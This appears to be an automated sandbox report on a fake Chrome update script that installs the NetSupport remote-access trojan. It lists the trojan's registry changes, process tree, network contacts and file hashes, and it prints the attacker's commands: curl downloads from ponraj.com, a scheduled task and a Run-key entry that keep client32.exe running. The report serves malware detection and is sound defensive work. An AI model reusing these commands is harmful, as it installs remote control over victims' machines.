Malware Analysis Report

2025-04-13 09:52

Sample ID 230713-3fkmesbe76
Target Chrome_update.js
SHA256 680135cc234cc387ff529ac500fe4eac5b648ed1c9e1c694b4d697106e79bdfe
Tags
netsupport persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

680135cc234cc387ff529ac500fe4eac5b648ed1c9e1c694b4d697106e79bdfe

Threat Level: Known bad

The file Chrome_update.js was found to be: Known bad.

Malicious Activity Summary

netsupport persistence rat

NetSupport

Blocklisted process makes network request

Downloads MZ/PE file

Loads dropped DLL

Checks computer location settings

Executes dropped EXE

Adds Run key to start application

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Modifies system certificate store

Delays execution with timeout.exe

Creates scheduled task(s)

Uses Task Scheduler COM API

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-07-13 23:27

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-07-13 23:27

Reported

2023-07-13 23:30

Platform

win7-20230712-en

Max time kernel

118s

Max time network

128s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\Chrome_update.js

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A

Enumerates physical storage devices

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 C:\Windows\system32\wscript.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 C:\Windows\system32\wscript.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 C:\Windows\system32\wscript.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 C:\Windows\system32\wscript.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 C:\Windows\system32\wscript.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 C:\Windows\system32\wscript.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3008 wrote to memory of 2792 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\cmd.exe
PID 3008 wrote to memory of 2792 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\cmd.exe
PID 3008 wrote to memory of 2792 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\cmd.exe
PID 2792 wrote to memory of 2232 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 2232 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 2232 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 2700 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 2700 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 2700 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 1388 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 1388 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 1388 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 692 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 692 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2792 wrote to memory of 692 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\Chrome_update.js

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c C://ProgramData//pFSeiWofHgUbpCQepaDtC.bat

C:\Windows\system32\cmd.exe

cmd.exe /c C:\ProgramData\sett.bat"

C:\Windows\system32\cmd.exe

cmd.exe /c C:\ProgramData\7z.bat"

C:\Windows\system32\cmd.exe

cmd.exe /c C:\ProgramData\2.bat"

C:\Windows\system32\cmd.exe

cmd.exe /c C:\ProgramData\2.bat"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ponraj.com udp
RU 188.127.225.160:443 ponraj.com tcp
US 8.8.8.8:53 apps.identrust.com udp
US 2.18.121.70:80 apps.identrust.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\CabB55D.tmp

MD5 3ac860860707baaf32469fa7cc7c0192
SHA1 c33c2acdaba0e6fa41fd2f00f186804722477639
SHA256 d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904
SHA512 d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

C:\Users\Admin\AppData\Local\Temp\TarB7FE.tmp

MD5 4ff65ad929cd9a367680e0e5b1c08166
SHA1 c0af0d4396bd1f15c45f39d3b849ba444233b3a2
SHA256 c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6
SHA512 f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 3c33eacf7d36e97a11e7de1faa8210cb
SHA1 463bc24f6d5417eba7f444a2afdacafba2d83846
SHA256 b9818c3e43dca3f25ff1ea65e16953599eaa6db72cfaafa5deb51678e74fa400
SHA512 79268660b1b48e0d79d58b5ab40093d867529e5dc99be1e7837909b216fb8eaa8240cc0f321b2519a5e21399c0f4dbb3b14782ee6a17b1fe1d702df528557a9b

C:\ProgramData\pFSeiWofHgUbpCQepaDtC.bat

MD5 4b2794840b114be5011da81ad4c462d8
SHA1 66cf9461efa6fb1e55af037515121d2a856670ac
SHA256 60dbaed2358a02ed2102cc2158c05fce9bba87674d68f1114198423bd8460a93
SHA512 28d60ca188d99af1e6338d97cbcde497f5325c1a7da132b7d8f9c29a630d93570b488db40bc3ded89fa96c04153298b6a15128f641fcb1134cfa8d933d9e8b2c

C:\ProgramData\sett.bat

MD5 7d1c3743cb7af1f479ef8a94c1dc44da
SHA1 228abfe62f4f166bb0881e273c2bd6bffb3167d4
SHA256 434d977609d8c580895a2b3b74f0948e2670bdeef5d06a1325c4940264b95f6c
SHA512 e00f310e0c09b0e78ee98e8c1efdbb2caf6cac0e5fde51536123443f54f271c0232b4521c02de5083eb18cc03d350d37a0cb1ed2da58c6a0830b5462def34276

C:\ProgramData\7z.bat

MD5 67404b0103100e3452532b69a46aa33f
SHA1 4bc62bfaecc1a4c5c95d906e2b64e161933f9965
SHA256 6f1624a63e0713b8c0f86a461e9ce955f0d7eef8d4d3cdacf0b79e3ae843f19c
SHA512 4c7f3e63746179413915f308dea04cf668f909a4111caa479b633587137483ff7af548e2aab7180617cc5a6363884151f546a58b0b40a7bdb7edc3024bb26989

C:\ProgramData\2.bat

MD5 6011bc3aa00cc9eefa63bd07c9676678
SHA1 9c8fb9c006ab9787254bd6ade3194a90c24d66c9
SHA256 5a8a48a2be136200954f5f81de68363d5dd8c82489dacae5d6b717b598634079
SHA512 93869d542de437ce4514c745153284163305256f4673139a91ce9253ea329941b1fc273ccb3c0a2710e761ad41698a3f96ea0a5516ab3f436a5ead82572d36ba

Analysis: behavioral2

Detonation Overview

Submitted

2023-07-13 23:27

Reported

2023-07-13 23:30

Platform

win10v2004-20230703-en

Max time kernel

143s

Max time network

155s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\Chrome_update.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\ProgramData\7zz.exe N/A
N/A N/A C:\ProgramData\client32.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\ProgramData\client32.exe N/A
N/A N/A C:\ProgramData\client32.exe N/A
N/A N/A C:\ProgramData\client32.exe N/A
N/A N/A C:\ProgramData\client32.exe N/A
N/A N/A C:\ProgramData\client32.exe N/A
N/A N/A C:\ProgramData\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\Windows\system32\reg.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVYS = "C:\\ProgramData\\client32.exe" C:\Windows\system32\reg.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\ProgramData\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\ProgramData\client32.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2796 wrote to memory of 4160 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\cmd.exe
PID 2796 wrote to memory of 4160 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\cmd.exe
PID 4160 wrote to memory of 4168 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4160 wrote to memory of 4168 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4168 wrote to memory of 4432 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4168 wrote to memory of 4432 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4160 wrote to memory of 2568 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4160 wrote to memory of 2568 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 2568 wrote to memory of 4572 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 2568 wrote to memory of 4572 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4160 wrote to memory of 4056 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4160 wrote to memory of 4056 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4056 wrote to memory of 2916 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4056 wrote to memory of 2916 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4160 wrote to memory of 3864 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4160 wrote to memory of 3864 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 3864 wrote to memory of 1960 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\xcopy.exe
PID 3864 wrote to memory of 1960 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\xcopy.exe
PID 3864 wrote to memory of 8 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\xcopy.exe
PID 3864 wrote to memory of 8 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\xcopy.exe
PID 3864 wrote to memory of 1800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3864 wrote to memory of 1800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3864 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 3864 wrote to memory of 2012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 1800 wrote to memory of 2520 N/A C:\Windows\system32\cmd.exe C:\ProgramData\7zz.exe
PID 1800 wrote to memory of 2520 N/A C:\Windows\system32\cmd.exe C:\ProgramData\7zz.exe
PID 1800 wrote to memory of 2520 N/A C:\Windows\system32\cmd.exe C:\ProgramData\7zz.exe
PID 3864 wrote to memory of 724 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\schtasks.exe
PID 3864 wrote to memory of 724 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\schtasks.exe
PID 3864 wrote to memory of 2244 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3864 wrote to memory of 2244 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3864 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3864 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2244 wrote to memory of 1376 N/A C:\Windows\system32\cmd.exe C:\ProgramData\client32.exe
PID 2244 wrote to memory of 1376 N/A C:\Windows\system32\cmd.exe C:\ProgramData\client32.exe
PID 2244 wrote to memory of 1376 N/A C:\Windows\system32\cmd.exe C:\ProgramData\client32.exe
PID 3864 wrote to memory of 4220 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 3864 wrote to memory of 4220 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\Chrome_update.js

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c C://ProgramData//pFSeiWofHgUbpCQepaDtC.bat

C:\Windows\system32\cmd.exe

cmd.exe /c C:\ProgramData\sett.bat"

C:\Windows\system32\curl.exe

curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/tempy.7z" -o "C:\ProgramData\tempy.7z"

C:\Windows\system32\cmd.exe

cmd.exe /c C:\ProgramData\7z.bat"

C:\Windows\system32\curl.exe

curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"

C:\Windows\system32\cmd.exe

cmd.exe /c C:\ProgramData\2.bat"

C:\Windows\system32\curl.exe

curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"

C:\Windows\system32\cmd.exe

cmd.exe /c C:\ProgramData\2.bat"

C:\Windows\system32\xcopy.exe

xcopy /h /y 7zz.exe C:\ProgramData\

C:\Windows\system32\xcopy.exe

xcopy /h /y tempy.7z C:\ProgramData\

C:\Windows\system32\cmd.exe

cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z -oC:\ProgramData\

C:\Windows\system32\timeout.exe

TIMEOUT /T 3

C:\ProgramData\7zz.exe

C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z -oC:\ProgramData\

C:\Windows\system32\schtasks.exe

SCHTASKS /create /F /tn "KAVYS" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 8 /sd 01/01/2022 /st 00:00

C:\Windows\system32\cmd.exe

cmd /c C:\ProgramData\client32.exe

C:\Windows\system32\reg.exe

reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

C:\ProgramData\client32.exe

C:\ProgramData\client32.exe

C:\Windows\system32\reg.exe

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVYS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f

Network

Country Destination Domain Proto
US 8.8.8.8:53 ponraj.com udp
RU 188.127.225.160:443 ponraj.com tcp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 121.208.253.8.in-addr.arpa udp
US 8.8.8.8:53 160.225.127.188.in-addr.arpa udp
US 8.8.8.8:53 142.33.222.23.in-addr.arpa udp
US 8.8.8.8:53 68.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
RU 188.127.225.160:443 ponraj.com tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
RU 188.127.225.160:443 ponraj.com tcp
RU 188.127.225.160:443 ponraj.com tcp
RO 5.252.178.48:443 tcp
US 8.8.8.8:53 48.178.252.5.in-addr.arpa udp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
GB 62.172.138.8:80 geo.netsupportsoftware.com tcp
GB 62.172.138.8:80 geo.netsupportsoftware.com tcp
GB 62.172.138.8:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 8.138.172.62.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 69.121.18.2.in-addr.arpa udp
US 8.8.8.8:53 66.112.168.52.in-addr.arpa udp

Files

C:\ProgramData\pFSeiWofHgUbpCQepaDtC.bat

MD5 4b2794840b114be5011da81ad4c462d8
SHA1 66cf9461efa6fb1e55af037515121d2a856670ac
SHA256 60dbaed2358a02ed2102cc2158c05fce9bba87674d68f1114198423bd8460a93
SHA512 28d60ca188d99af1e6338d97cbcde497f5325c1a7da132b7d8f9c29a630d93570b488db40bc3ded89fa96c04153298b6a15128f641fcb1134cfa8d933d9e8b2c

C:\ProgramData\sett.bat

MD5 7d1c3743cb7af1f479ef8a94c1dc44da
SHA1 228abfe62f4f166bb0881e273c2bd6bffb3167d4
